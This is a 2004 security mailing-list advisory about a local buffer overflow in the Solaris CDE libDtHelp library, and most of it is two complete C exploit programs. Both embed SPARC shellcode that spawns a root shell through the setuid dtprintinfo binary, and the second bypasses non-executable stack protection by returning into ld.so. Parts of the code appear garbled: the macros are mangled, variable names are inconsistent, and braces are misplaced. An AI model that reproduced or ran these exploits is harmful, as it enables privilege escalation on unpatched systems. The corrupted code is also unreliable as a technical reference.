

[EXPL] Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0086.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/27/04

To: list@securiteam.com

Date: 27 Dec 2004 10:27:53 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

SUMMARY

A buffer overflow in CDE libDtHelp library allows local users to execute arbitrary code via a modified DTHELPUSEARSEARCHPATH environment variable and the Help feature.

DETAILS

Vulnerable Systems:

- * Solaris 7 without patch 107178-03
- * Solaris 8 without patch 108949-08
- * Solaris 9 without patch 116308-01

Exploit Code:

The first exploit code presented here ([raptor_libdthelp.c](#)) will exploit a system without user stack execution restriction. The second exploit targets systems with non executable user stack protection.

```
raptor_libdthelp.c  
/*
```

Securiteam: [EXPL] Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

```
* $Id: raptor_libdthelp.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_libdthelp.c – libDtHelp.so local, Solaris/SPARC 7/8/9
* Copyright (c) 2003–2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Buffer overflow in CDE libDtHelp library allows local users to execute
* arbitrary code via a modified DTHELPPUSERSEARCHPATH environment variable
* and the Help feature (CAN–2003–0834).
*
* Possible attack vectors are: DTHELPPUSERSEARCHPATH (as used in this
exploit),
* DTHELPPUSERSEARCHPATH, LOGNAME (those two require a slightly different
* exploitation technique, due to different code paths).
*
* Usage:
* $ gcc raptor_libdthelp.c -o raptor_libdthelp -Wall
* [on your xserver: disable the access control]
* $ ./raptor_libdthelp 192.168.1.1:0
* [on your xserver: enter the dtprintinfo help]
* # id
* uid=0(root) gid=1(other)
* #
*
* Vulnerable platforms:
* Solaris 7 without patch 107178–03 [tested]
* Solaris 8 without patch 108949–08 [tested]
* Solaris 9 without patch 116308–01 [tested]
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define INFO1 "raptor_libdthelp.c – libDtHelp.so local, Solaris/SPARC
7/8/9"
#define INFO2 "Copyright (c) 2003–2004 Marco Ivaldi
<raptor@0xdeadbeef.info>"

#define VULN "/usr/dt/bin/dtprintinfo" // default setuid target
#define BUFSIZE 1200 // size of the evil buffer
#define VARSIZE 1024 // size of the evil env vars

/* voodoo macros */
#define VOODOO32(__, ___, ___) { _--; _+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(__, ___, ___) { _+=7-(_(+___+1)*4+3)%8;}

char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
```

Securiteam: [EXPL] Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

```
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"  
/* execve() */  
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"  
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"  
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";  
  
/* globals */  
char *env[256];  
int env_pos = 0, env_len = 0;  
  
/* prototypes */  
int add_env(char *string);  
void set_val(char *buf, int pos, int val);  
  
/*  
 * main()  
 */  
int main(int argc, char **argv)  
{  
    char buf[BUFSIZE], var1[VARSIZE], var2[VARSIZE];  
    char platform[256], release[256], display[256];  
    int i, offset, ret, var1_addr, var2_addr;  
    int plat_len, prog_len, rel;  
  
    char *arg[2] = {"foo", NULL};  
    int arg_len = 4, arg_pos = 1;  
  
    int sb = ((int)argv[0] | 0xffff) & 0xffffffc;  
  
    /* print exploit information */  
    fprintf(stderr, "%s\n%s\n", INFO1, INFO2);  
  
    /* read command line */  
    if (argc != 2) {  
        fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);  
        exit(1);  
    }  
    sprintf(display, "DISPLAY=%s", argv[1]);  
  
    /* get some system information */  
    sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);  
    sysinfo(SI_RELEASE, release, sizeof(release) - 1);  
    rel = atoi(release + 2);  
  
    /* prepare the evil buffer */  
    memset(buf, 'A', sizeof(buf));  
    buf[sizeof(buf) - 1] = 0x0;  
    memcpy(buf, "DTHELPSEARCHPATH=", 17);  
  
    /* prepare the evil env vars */  
    memset(var1, 'B', sizeof(var1));
```

Securiteam: [EXPL] Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

```
var1[sizeof(var1) - 1] = 0x0;
memset(var2, 'C', sizeof(var2));
var2[sizeof(var2) - 1] = 0x0;

/* fill the envp, keeping padding */
var1_addr = add_env(sc);
var2_addr = add_env(var1);
add_env(var2);
add_env(display);
add_env("PATH=/usr/bin:/bin:/usr/sbin:/sbin");
add_env("HOME=/tmp");
add_env(buf);
add_env(NULL);

/* calculate the offset to argv[0] (voodoo magic) */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = arg_len + env_len + plat_len + prog_len;
if (rel > 7)
    VOODOO64(offset, arg_pos, env_pos)
else
    VOODOO32(offset, plat_len, prog_len)

/* calculate the needed addresses */
ret = sb - offset + arg_len;
var1_addr += ret;
var2_addr += ret;

/* fill the evil buffer */
for (i = 17; i < BUFSIZE - 8; i += 4)
    set_val(buf, i, var1_addr - 5000);

/* fill the evil env vars */
for (i = 0; i < VARSIZE - 8; i += 4)
    set_val(var1, i, var2_addr - 500);
for (i = 0; i < VARSIZE - 8; i += 4)
    set_val(var2, i, ret);

/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using var1 address\t: 0x%p\n", (void *)var1_addr);
fprintf(stderr, "Using var2 address\t: 0x%p\n", (void *)var2_addr);
fprintf(stderr, "Using ret address\t: 0x%p\n", (void *)ret);

/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}
```

Securiteam: [EXPL] Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

```
/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
    int i;

    /* null termination */
    if (!string) {
        env[env_pos] = NULL;
        return(env_len);
    }

    /* add the variable to envp */
    env[env_pos] = string;
    env_len += strlen(string) + 1;
    env_pos++;

    /* pad the envp using zeroes */
    if ((strlen(string) + 1) % 4)
        for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
            env[env_pos] = string + strlen(string);
            env_len++;
        }

    return(env_len);
}

/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
    buf[pos] = (val & 0xff000000) >> 24;
    buf[pos + 1] = (val & 0x00ff0000) >> 16;
    buf[pos + 2] = (val & 0x0000ff00) >> 8;
    buf[pos + 3] = (val & 0x000000ff);
}

raptor_libdthelp2.c
/*
 * $Id: raptor_libdthelp2.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
 *
 * raptor_libdthelp2.c – libDtHelp.so local, Solaris/SPARC 7/8/9
 * Copyright (c) 2003–2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Buffer overflow in CDE libDtHelp library allows local users to execute
 * arbitrary code via a modified DTHELPUSEARSEARCHPATH environment variable
 * and the Help feature (CAN–2003–0834).
 *
 * "Stay with non exec, it keeps you honest" — Dave Aitel (0dd)
```

Securiteam: [EXPL] Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

```
*
* Possible attack vectors are: DTHELPSEARCHPATH (as used in this
exploit),
* DTHELPUSERSEARCHPATH, LOGNAME (those two require a slightly different
* exploitation technique, due to different code paths).
*
* This is the ret-into-ld.so version of raptor_libdthelp.c, able to
bypass
* the non-executable stack protection (noexec_user_stack=1 in
/etc/system).
*
* NOTE. If experiencing troubles with null-bytes inside the ld.so.1
memory
* space, use sprintf() instead of strcpy() (tested on some Solaris 7
boxes).
*
* Usage:
* $ gcc raptor_libdthelp2.c -o raptor_libdthelp2 -ldl -Wall
* [on your xserver: disable the access control]
* $ ./raptor_libdthelp2 192.168.1.1:0
* [on your xserver: enter the dtprintinfo help]
* # id
* uid=0(root) gid=1(other)
* #
*
* Vulnerable platforms:
* Solaris 7 without patch 107178-03 [tested]
* Solaris 8 without patch 108949-08 [tested]
* Solaris 9 without patch 116308-01 [tested]
*/
```

```
#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
```

```
#define INFO1 "raptor_libdthelp2.c - libDtHelp.so local, Solaris/SPARC
7/8/9"
#define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi
<raptor@0xdeadbeef.info>"
```

```
#define VULN "/usr/dt/bin/dtprintinfo" // default setuid target
#define BUFSIZE 1200 // size of the evil buffer
#define VARSIZE 1024 // size of the evil env vars
#define FFSIZE 64 + 1 // size of the fake frame
#define DUMMY 0xdeadbeef // dummy memory address
```

Securiteam: [EXPL] Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

```
/* voodoo macros */
#define VOODOO32(____,___) {____;_+=(____-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(____,___) {____=7-(____+(____+1)*4+3)%8;}

char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

/* globals */
char *env[256];
int env_pos = 0, env_len = 0;

/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
    char buf[BUFSIZE], var1[VARSIZE], var2[VARSIZE], ff[FFSIZE];
    char platform[256], release[256], display[256];
    int i, offset, ff_addr, sc_addr, var1_addr, var2_addr;
    int plat_len, prog_len, rel;

    char *arg[2] = {"foo", NULL};
    int arg_len = 4, arg_pos = 1;

    int sb = ((int)argv[0] | 0xffff) & 0xffffffc;
    int ret = search_ldso("strcpy"); /* or sprintf */
    int rwx_mem = search_rwx_mem();

    /* print exploit information */
    fprintf(stderr, "%s\n%s\n", INFO1, INFO2);

    /* read command line */
    if (argc != 2) {
        fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
        exit(1);
    }
    sprintf(display, "DISPLAY=%s", argv[1]);
}
```

Securiteam: [EXPL] Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

```
/* get some system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
rel = atoi(release + 2);

/* prepare the evil buffer */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
memcpy(buf, "DTHELPSEARCHPATH=", 17);

/* prepare the evil env vars */
memset(var1, 'B', sizeof(var1));
var1[sizeof(var1) - 1] = 0x0;
memset(var2, 'C', sizeof(var2));
var2[sizeof(var2) - 1] = 0x0;

/* prepare the fake frame */
bzero(ff, sizeof(ff));

/*
 * saved %l registers
 */
set_val(ff, i = 0, DUMMY); /* %l0 */
set_val(ff, i += 4, DUMMY); /* %l1 */
set_val(ff, i += 4, DUMMY); /* %l2 */
set_val(ff, i += 4, DUMMY); /* %l3 */
set_val(ff, i += 4, DUMMY); /* %l4 */
set_val(ff, i += 4, DUMMY); /* %l5 */
set_val(ff, i += 4, DUMMY); /* %l6 */
set_val(ff, i += 4, DUMMY); /* %l7 */

/*
 * saved %i registers
 */
set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */
set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */
set_val(ff, i += 4, DUMMY); /* %i2 */
set_val(ff, i += 4, DUMMY); /* %i3 */
set_val(ff, i += 4, DUMMY); /* %i4 */
set_val(ff, i += 4, DUMMY); /* %i5 */
set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */
set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */

/* fill the envp, keeping padding */
sc_addr = add_env(ff);
var1_addr = add_env(sc);
var2_addr = add_env(var1);
add_env(var2);
add_env(display);
add_env("PATH=/usr/bin:/bin:/usr/sbin:/sbin");
add_env("HOME=/tmp");
```

Securiteam: [EXPL] Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

```
add_env(buf);
add_env(NULL);

/* calculate the offset to argv[0] (voodoo magic) */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = arg_len + env_len + plat_len + prog_len;
if (rel > 7)
    VOODOO64(offset, arg_pos, env_pos)
else
    VOODOO32(offset, plat_len, prog_len)

/* calculate the needed addresses */
ff_addr = sb - offset + arg_len;
sc_addr += ff_addr;
var1_addr += ff_addr;
var2_addr += ff_addr;

/* set fake frame's %i1 */
set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */

/* fill the evil buffer */
for (i = 17; i < BUFSIZE - 76; i += 4)
    set_val(buf, i, var1_addr - 5000);
/* apparently, we don't need to bruteforce */
set_val(buf, i, ff_addr);
set_val(buf, i += 4, ret - 4); /* strcpy(), after the save */

/* fill the evil env vars */
for (i = 0; i < VARSIZE - 8; i += 4)
    set_val(var1, i, var2_addr - 500);
for (i = 0; i < VARSIZE - 8; i += 4)
    set_val(var2, i, ret - 8); /* ret, before strcpy() */

/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using var1 address\t: 0x%p\n", (void *)var1_addr);
fprintf(stderr, "Using var2 address\t: 0x%p\n", (void *)var2_addr);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}
```

Securiteam: [EXPL] Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

```
/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
    int i;

    /* null termination */
    if (!string) {
        env[env_pos] = NULL;
        return(env_len);
    }

    /* add the variable to envp */
    env[env_pos] = string;
    env_len += strlen(string) + 1;
    env_pos++;

    /* pad the envp using zeroes */
    if ((strlen(string) + 1) % 4)
        for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
            env[env_pos] = string + strlen(string);
            env_len++;
        }

    return(env_len);
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
    if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
        !(addr & 0xff000000)) {
        fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
        exit(1);
    }
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
    int addr;
    void *handle;
    Link_map *lm;

    /* open the executable object file */
    if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
```

Securiteam: [EXPL] Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

```
perror("dlopen");
exit(1);
}

/* get dynamic load information */
if ((dldinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
    perror("dldinfo");
    exit(1);
}

/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
    fprintf(stderr, "sorry, function %s() not found\n", sym);
    exit(1);
}

/* close the executable object file */
dlclose(handle);

check_zero(addr - 4, sym);
check_zero(addr - 8, sym); /* addr - 8 is the ret before strcpy() */
return(addr);
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
    int fd;
    char tmp[16];
    prmap_t map;
    int addr = 0, addr_old;

    /* open the proc filesystem */
    sprintf(tmp, "/proc/%d/map", (int)getpid());
    if ((fd = open(tmp, O_RDONLY)) < 0) {
        fprintf(stderr, "can't open %s\n", tmp);
        exit(1);
    }

    /* search for the last RWX memory segment before stack (last - 1) */
    while (read(fd, &map, sizeof(map)))
        if (map.pr_vaddr)
            if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
                addr_old = addr;
                addr = map.pr_vaddr;
            }
    close(fd);
}
```

Securiteam: [EXPL] Buffer overflow in Solaris CDE libDtHelp (Executable and Non-Executable Stack)

```
/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
    addr_old |= 0x04;
if (!(addr_old & 0xff00))
    addr_old |= 0x0400;

return(addr_old);
}

/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
    buf[pos] = (val & 0xff000000) >> 24;
    buf[pos + 1] = (val & 0x00ff0000) >> 16;
    buf[pos + 2] = (val & 0x0000ff00) >> 8;
    buf[pos + 3] = (val & 0x000000ff);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:raptor@0xdeadbeef.info>

Raptor.

The original article can be found at:

<http://www.0xdeadbeef.info/exploits/raptor_libdthelp.c>

http://www.0xdeadbeef.info/exploits/raptor_libdthelp.c

The original article can be found at:

<http://www.0xdeadbeef.info/exploits/raptor_libdthelp2.c>

http://www.0xdeadbeef.info/exploits/raptor_libdthelp2.c

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.